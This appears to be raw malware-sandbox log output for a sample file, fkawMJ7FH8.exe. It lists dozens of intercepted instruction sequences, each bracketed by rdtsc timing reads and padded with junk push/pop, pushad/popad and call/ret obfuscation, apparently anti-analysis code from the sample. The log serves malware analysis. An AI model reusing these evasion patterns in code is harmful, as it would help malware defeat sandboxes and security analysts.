Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E2A1C0 second address: E2A252 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 mov bx, ax 0x0000000b push dword ptr fs:[00000000h] 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007FAD011DC398h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 00000017h 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c mov dword ptr fs:[00000000h], esp 0x00000033 push 00000000h 0x00000035 push eax 0x00000036 call 00007FAD011DC398h 0x0000003b pop eax 0x0000003c mov dword ptr [esp+04h], eax 0x00000040 add dword ptr [esp+04h], 0000001Dh 0x00000048 inc eax 0x00000049 push eax 0x0000004a ret 0x0000004b pop eax 0x0000004c ret 0x0000004d jc 00007FAD011DC39Ch 0x00000053 mov edi, dword ptr [ebp+122D2C0Fh] 0x00000059 movzx edi, si 0x0000005c mov eax, dword ptr [ebp+122D027Dh] 0x00000062 mov edi, dword ptr [ebp+122D2C3Fh] 0x00000068 push FFFFFFFFh 0x0000006a push ecx 0x0000006b jmp 00007FAD011DC39Bh 0x00000070 pop edi 0x00000071 push eax 0x00000072 push edx 0x00000073 pushad 0x00000074 jo 00007FAD011DC396h 0x0000007a push eax 0x0000007b push edx 0x0000007c rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E2B2A6 second address: E2B2AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E2E1BE second address: E2E216 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD011DC3A5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d jg 00007FAD011DC396h 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push edi 0x0000001a call 00007FAD011DC398h 0x0000001f pop edi 0x00000020 mov dword ptr [esp+04h], edi 0x00000024 add dword ptr [esp+04h], 00000015h 0x0000002c inc edi 0x0000002d push edi 0x0000002e ret 0x0000002f pop edi 0x00000030 ret 0x00000031 mov ebx, dword ptr [ebp+122D2DBBh] 0x00000037 xchg eax, esi 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007FAD011DC39Bh 0x0000003f rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E2D474 second address: E2D489 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FAD00757C98h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E2E3F2 second address: E2E410 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jne 00007FAD011DC396h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FAD011DC39Fh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E355D4 second address: E355E2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007FAD00757C96h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E355E2 second address: E355E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: DD70B8 second address: DD70C2 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FAD00757C9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E35119 second address: E3512B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FAD011DC396h 0x0000000a jg 00007FAD011DC39Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E3512B second address: E3512F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E3512F second address: E35158 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAD011DC3A3h 0x00000009 jmp 00007FAD011DC3A2h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E4051B second address: E40560 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD00757CA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FAD00757C9Eh 0x00000011 pushad 0x00000012 jno 00007FAD00757C96h 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a jmp 00007FAD00757CA5h 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E40A7B second address: E40A99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD011DC3A0h 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007FAD011DC396h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E40A99 second address: E40A9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E40C1A second address: E40C21 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E40C21 second address: E40C39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jo 00007FAD00757C98h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jl 00007FAD00757C96h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E4105B second address: E41061 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E41061 second address: E4106B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E4106B second address: E41075 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FAD011DC396h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E41075 second address: E41098 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FAD00757C96h 0x00000008 jmp 00007FAD00757CA9h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E4137B second address: E4138F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 js 00007FAD011DC396h 0x00000009 push edi 0x0000000a pop edi 0x0000000b pop ebx 0x0000000c jne 00007FAD011DC3A2h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E414D8 second address: E414F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jc 00007FAD00757C96h 0x0000000b js 00007FAD00757C96h 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 pushad 0x00000016 push esi 0x00000017 pop esi 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E476A1 second address: E476A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: DD3A88 second address: DD3A8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E465C6 second address: E465D7 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FAD011DC398h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E1A29B second address: E1A29F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E1A29F second address: E1A2A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E1A638 second address: E1A63C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E1A63C second address: E1A6DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FAD011DC3A1h 0x00000008 push edi 0x00000009 pop edi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edi 0x0000000f jmp 00007FAD011DC3A8h 0x00000014 pop edi 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 push edx 0x0000001a pushad 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 pop edx 0x00000021 mov eax, dword ptr [eax] 0x00000023 js 00007FAD011DC3A4h 0x00000029 mov dword ptr [esp+04h], eax 0x0000002d jmp 00007FAD011DC3A6h 0x00000032 pop eax 0x00000033 mov dword ptr [ebp+122D27A5h], ebx 0x00000039 call 00007FAD011DC399h 0x0000003e push edi 0x0000003f pushad 0x00000040 push eax 0x00000041 pop eax 0x00000042 jmp 00007FAD011DC3A2h 0x00000047 popad 0x00000048 pop edi 0x00000049 push eax 0x0000004a jbe 00007FAD011DC3A0h 0x00000050 pushad 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E1A6DE second address: E1A6F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push ebx 0x0000000c je 00007FAD00757C9Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E1A6F2 second address: E1A717 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 mov eax, dword ptr [eax] 0x00000007 pushad 0x00000008 jnp 00007FAD011DC3AAh 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E1A888 second address: E1A896 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FAD00757C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E1A896 second address: E1A89A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E1A89A second address: E1A8AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E1A8AA second address: E1A8C0 instructions: 0x00000000 rdtsc 0x00000002 je 00007FAD011DC398h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, esi 0x0000000d push ebx 0x0000000e mov ch, A1h 0x00000010 pop edx 0x00000011 nop 0x00000012 pushad 0x00000013 push ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E1A8C0 second address: E1A8D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jl 00007FAD00757C98h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push esi 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E1B04F second address: E1B055 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E1B055 second address: E1B0B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD00757CA0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push ebx 0x0000000d jmp 00007FAD00757C9Ch 0x00000012 pop ebx 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007FAD00757C98h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 0000001Bh 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e push edi 0x0000002f and edi, 5F58C50Bh 0x00000035 pop edi 0x00000036 push 0000001Eh 0x00000038 sub dword ptr [ebp+122D3211h], ecx 0x0000003e nop 0x0000003f js 00007FAD00757CA0h 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E1B0B9 second address: E1B0C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ecx 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E1B43E second address: E1B448 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FAD00757C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E1B448 second address: E1B470 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD011DC3A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 jp 00007FAD011DC396h 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E1B470 second address: E1B476 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E1B476 second address: E1B47A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E1B525 second address: E1B529 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E1B529 second address: E1B52D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E1B52D second address: E1B550 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jmp 00007FAD00757CA2h 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E1B550 second address: E1B554 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: DD547D second address: DD548E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: DD548E second address: DD54BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD011DC39Fh 0x00000007 js 00007FAD011DC396h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007FAD011DC3A5h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E46BC2 second address: E46BDE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD00757CA8h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E46BDE second address: E46BE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E46BE4 second address: E46C00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAD00757CA6h 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E47247 second address: E4724D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E4724D second address: E4725A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007FAD00757CA9h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E4725A second address: E4727C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD011DC39Dh 0x00000009 jmp 00007FAD011DC39Bh 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E4727C second address: E47286 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FAD00757C96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E47286 second address: E4728A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E4BACB second address: E4BAD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E4BC45 second address: E4BC4A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E4BC4A second address: E4BC55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E4BC55 second address: E4BC59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E4BC59 second address: E4BC91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FAD00757C9Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f jmp 00007FAD00757CA1h 0x00000014 jmp 00007FAD00757C9Eh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E4BC91 second address: E4BC9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E4BC9B second address: E4BCB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jmp 00007FAD00757C9Fh 0x0000000c push eax 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E4BDFC second address: E4BE06 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FAD011DC396h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E4BF61 second address: E4BF85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD00757CA0h 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007FAD00757CA2h 0x00000011 jp 00007FAD00757C96h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E4BF85 second address: E4BF8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pushad 0x00000006 popad 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E4BF8D second address: E4BFA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAD00757CA8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E4BFA9 second address: E4BFCA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD011DC3A1h 0x00000007 jnl 00007FAD011DC396h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E4BFCA second address: E4BFCE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E4C0F0 second address: E4C0F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E4C509 second address: E4C515 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E4C515 second address: E4C519 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E4C8A4 second address: E4C8BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FAD00757CA3h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E4C8BE second address: E4C8C4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E4C9FF second address: E4CA1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD00757CA5h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E4CE79 second address: E4CE7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E4CE7D second address: E4CE9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD00757CA3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E57731 second address: E57735 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E57735 second address: E57747 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FAD00757C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007FAD00757C9Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E57747 second address: E57752 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E57752 second address: E5776A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD00757CA3h 0x00000009 popad 0x0000000a rdtsc
